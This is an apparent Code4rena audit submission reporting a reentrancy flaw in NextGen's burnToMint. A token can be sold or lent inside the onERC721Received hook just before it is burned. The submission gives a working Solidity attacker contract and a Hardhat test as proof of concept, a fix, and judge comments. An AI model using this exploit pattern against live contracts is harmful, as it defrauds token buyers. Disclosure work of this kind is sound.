Possible to sell or lend a token just before it's burned

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L220

Vulnerability details

Vulnerability Details

Prerequisites:

• The attacker has a token that can be burned to mint another one

Steps for the attacker:

1. Call MinterContract.burnToMint
2. Sell the burn token (that is not burned yet) in onERC721Received hook
   1. Or lend or do something else to get money for it

Impact

The buyer of the token looses money, because the token is burned just after the sale

Proof of Concept

Put the contract below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {IERC721Receiver} from "./IERC721Receiver.sol";
import "./ERC721Enumerable.sol";
import "./MinterContract.sol";

pragma solidity ^0.8.19;

contract SellBurnToken is IERC721Receiver {
    event TokenSold(uint indexed burnTokenId, address indexed newOwner);
    bool shouldSellBurnTokenOnReceive = false;
    uint burnTokenId;
    IERC721 core;
    NextGenMinterContract minter;

    function setShouldSell(bool _value, uint _burnTokenId, IERC721 _core, NextGenMinterContract _minter) external {
        shouldSellBurnTokenOnReceive = _value;
        burnTokenId = _burnTokenId;
        core = _core;
        minter = _minter;
    }

    function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o)
        public
        payable
    {
        minter.burnToMint{value: msg.value}(_burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external returns (bytes4) {
        if (shouldSellBurnTokenOnReceive){
	        // It can be sale, lend, or any other operation with the token
            core.transferFrom(address(this), address(0xdead), burnTokenId);
            emit TokenSold(burnTokenId, core.ownerOf(burnTokenId));
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check
const TEST_NAME = "Possible to sell or lend a token just before burning it";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai");
// @ts-ignore
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
let signers
let contracts
let attacker;

describe("NextGen Tests", function () {
    

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
    })

    context(TEST_NAME, () => {
        const BURN_COLLECTION_ID = 1;
        const MINT_COLLECTION_ID = 2;
        const MINT_COLLECTION_TOTAL_SUPPLY = 3;


        beforeEach(async function () {
            await contracts.hhCore.addRandomizer(
                BURN_COLLECTION_ID, contracts.hhRandomizer,
            )
              await contracts.hhCore.addRandomizer(
                MINT_COLLECTION_ID, contracts.hhRandomizer,
            )

            // Collection to burn, big supply
            const collectionId1 = await createCollection(1000);
            expect(collectionId1).to.eq(BURN_COLLECTION_ID);

            // Collection to mint, small supply
            const collectionId2 = await createCollection(MINT_COLLECTION_TOTAL_SUPPLY);
            expect(collectionId2).to.eq(MINT_COLLECTION_ID);

            await contracts.hhMinter.initializeBurn(BURN_COLLECTION_ID, MINT_COLLECTION_ID, true);


        })

        it("attacks", async function() {
            const  attackerContract = (await ( await 
                ethers.getContractFactory("SellBurnToken"))
                    .deploy())
                        .connect(attacker);
            
            // Simulate that attacker gets 1 burn token, in real scenario they could buy it
            const airDropTx = await contracts.hhMinter.airDropTokens(
                [attackerContract], //_recipients,
                [""],       //_tokenData,
                [0],        //_saltfun_o,
                BURN_COLLECTION_ID,          //_collectionID,
                [1]         //_numberOfTokens,
            )
            const tokenId = (await getLastMintedTokenIds(airDropTx))[0];

            // Make sure the token is minted
            const burnTokensAirdroppedToAttackerCount = await contracts.hhCore
                .retrieveTokensAirdroppedPerAddress( BURN_COLLECTION_ID, attackerContract );
            expect(burnTokensAirdroppedToAttackerCount).to.eq(1);

            await attackerContract.setShouldSell( true, tokenId, contracts.hhCore, contracts.hhMinter);

            const tx = await attackerContract
                    .burnToMint( BURN_COLLECTION_ID, tokenId, MINT_COLLECTION_ID, 0 )

            const tokenSoldEvent = await getTokenSoldEvent(tx);
            expect(tokenSoldEvent).to.not.be.empty;
            expect(tokenSoldEvent.args.newOwner).to.eq('0x000000000000000000000000000000000000dEaD');
            expect(tokenSoldEvent.args.burnTokenId).to.eq(tokenId);
        })

    });
});


async function createCollection(totalSupply) {
    const collectionId = await contracts.hhCore.newCollectionIndex();
    const collectionAdmin = signers.addr1;
    
    await contracts.hhCore.createCollection(
        `Test Collection ${collectionId}`,
        `Artist ${collectionId}`,
        "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"]
    );
    await contracts.hhAdmin.registerCollectionAdmin(
        collectionId, // _collectionID
        collectionAdmin.address,
        true
    );
    await contracts.hhCore.connect(collectionAdmin).setCollectionData(
        collectionId,
        collectionAdmin.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        totalSupply, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
    );
    await contracts.hhMinter.setCollectionCosts(
        collectionId,
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        2000, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
    );

    const publicStartTimestamp = await getLatestBlockTimestamp();
    const publicEndTimestamp = publicStartTimestamp + 1000;
    await contracts.hhMinter.setCollectionPhases(
        collectionId,
        0, // _allowlistStartTime
        0, // _allowlistEndTime
        publicStartTimestamp, // _publicStartTime
        publicEndTimestamp, // _publicEndTime
        "0x633522a1353f0e3bf991364afc2d74b59b938bad1726812e25d9f9c09d90b06a"  // _merkleRoot
    );

    return collectionId;
}

async function getLastMintedTokenIds(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .filter(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .map(log => log.args.tokenId)
}

async function getTokenSoldEvent(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event TokenSold(uint indexed burnTokenId, address indexed newOwner)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "TokenSold")
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Recommended Mitigation Steps

Call _burn before _mintProcessing
Follow CEI pattern

Assessed type

ERC721

[c4-pre-sort]

141345 marked the issue as duplicate of #1597

[c4-pre-sort]

141345 marked the issue as duplicate of #1597

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1597

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)

[c4-judge]

alex-ppg marked the issue as partial-50